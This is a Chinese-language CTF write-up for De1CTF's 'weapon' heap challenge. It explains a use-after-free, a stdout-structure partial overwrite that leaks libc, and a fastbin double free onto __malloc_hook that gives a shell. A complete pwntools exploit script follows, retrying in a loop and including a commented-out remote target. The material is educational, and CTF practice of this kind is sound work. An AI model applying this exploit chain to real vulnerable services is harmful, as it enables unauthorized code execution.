De1ctf收获：用_IO_2_1_stdout_泄露libc地址 weapon的writeup

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例行公事

可以看出保护全开

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进行分析

可以发现程序功能很简单

1. create
2. delete
3. rename

create

限定大小最大只能是0x60

index只能是0-9但是是自个输入的

存在一个结构，struct[0] = size，struct[1] = ptr

readn函数没有用\x00截断

delete

中间index的判断有问题，且存在uaf

rename

根据之前存储的size和ptr进行读取

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利用方法

1. 申请多个块,且在块中构造块

	create(0x10,0,p64(0)+p64(0x41))
	create(0x60,1,'a'*0x20+p64(0)+p64(0x41))
	create(0x30,2,'a')
	create(0x30,3,'a')
	create(0x30,4,'a')

2. 因为要利用uaf漏洞，所以要让块进入fastbin链表，且0x60的块也必须进入fastbin链表，为了之后的利用

	delete(1)
	delete(2)
	delete(3)

3. 利用idx为3的块的指针，分配块到我们构造的假块上，修改idx为1的块的size，再次将其free，这时候idx为1的块在fastbin的0x60的链表中，同时也在unsorted bin的链表中，因此其fd与bk都存放着libc的地址

	rename(3,'\x10')
	create(0x30,3,'a')
	create(0x30,2,p64(0))
	rename(2,p64(0)+p64(0xb1))
	delete(1)	#为了让这一步顺利，要绕过prev_inuse(nextchunk) == 1，所以块的大小要构造好

4. 再把块的size改回来，同时将libc地址的最低两字节覆盖成_IO_2_1_stdout_附近的地址，该地址存在一个size为0x7f的块，同时该块的data与足以覆盖我们想要覆盖的结构

	rename(2,p64(0)+p64(0x71))
	rename(1,'\xdd\xa5')	#因为只有低三位是确定的，这一步需要运气，成功的机率为1/16
	create(0x60,4,'')

5. 分配块到该区域，同时覆盖目标结构的flag以及_IO_write_base，详情看大佬的博客，得到libc地址
   https://hpasserby.me/post/8e1cd5dc.html#泄露libc

	create(0x60,5,'')	#0xfbad1800
	rename(5,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
	io.recv(0x40)
	libc_base = u64(io.recv(8))-(0x7f35bc64a600-0x7f35bc285000)	#这里在gdb中用查看一下当前libc基地址然后算一下偏移就得到了
	libc.address = libc_base
	log.success('libc base:'+hex(libc_base))
	one_gadget = libc_base + 0xf1147

6. 用double free漏洞，分配块到malloc_hook

	create(0x60,0,'a',1)
	create(0x60,1,'a',1)
	delete(0,1)
	delete(1,1)
	delete(0,1)
	create(0x60,0,p64(libc.symbols['__malloc_hook']-0x13),1)
	create(0x60,1,'a',1)
	create(0x60,1,'a',1)
	create(0x60,2,'a'*0x3+p64(one_gadget),1)

7. 触发malloc，getshell

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exp：

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = 0
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size,idx,name,choice=0):
	if choice == 0:
		io.recvuntil('choice >> \n')
		io.sendline('1')
		io.recvuntil('wlecome input your size of weapon: ')
		io.sendline(str(size))
		io.recvuntil('input index: ')
		io.sendline(str(idx))	
		io.recvuntil('input your name:\n')
		io.sendline(name)
	else:
		io.recvuntil('choice >> ')
		io.sendline('1')
		io.recvuntil('wlecome input your size of weapon: ')
		io.sendline(str(size))
		io.recvuntil('input index: ')
		io.sendline(str(idx))	
		io.recvuntil('input your name:')
		io.sendline(name)
	
def delete(idx,choice=0):
	if choice == 0:
		io.recvuntil('choice >> \n')
		io.sendline('2')
		io.recvuntil('input idx :')
		io.sendline(str(idx))
	else:
		io.recvuntil('choice >> ')
		io.sendline('2')
		io.recvuntil('input idx :')
		io.sendline(str(idx))
	
def rename(idx,content):
	io.recvuntil('choice >> \n')
	io.sendline('3')
	io.recvuntil('input idx: ')
	io.sendline(str(idx))
	io.recvuntil('new content:\n')
	io.send(content)

def main():
	global io
	io = process('./pwn')
	#io = remote('139.180.216.34',8888)
	create(0x10,0,p64(0)+p64(0x41))
	create(0x60,1,'a'*0x20+p64(0)+p64(0x41))
	create(0x30,2,'a')
	create(0x30,3,'a')
	create(0x30,4,'a')
	delete(1)
	delete(2)
	delete(3)
	rename(3,'\x10')
	create(0x30,3,'a')
	create(0x30,2,p64(0))
	rename(2,p64(0)+p64(0xb1))
	delete(1)
	rename(2,p64(0)+p64(0x71))
	rename(1,'\xdd\xa5')
	create(0x60,4,'')
	create(0x60,5,'')	#0xfbad1800
	rename(5,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
	io.recv(0x40)
	libc_base = u64(io.recv(8))-(0x7f35bc64a600-0x7f35bc285000)
	libc.address = libc_base
	log.success('libc base:'+hex(libc_base))
	one_gadget = libc_base + 0xf1147
	create(0x60,0,'a',1)
	create(0x60,1,'a',1)
	delete(0,1)
	delete(1,1)
	delete(0,1)
	create(0x60,0,p64(libc.symbols['__malloc_hook']-0x13),1)
	create(0x60,1,'a',1)
	create(0x60,1,'a',1)
	create(0x60,2,'a'*0x3+p64(one_gadget),1)
	io.sendline('1')
	io.sendline('2')
	io.sendline('3')
	io.sendline('cat flag')
	io.interactive()
	
if __name__ == '__main__':
	while True:
		try:
			main()
			break
		except:
			io.kill()
			#io.close()
			continue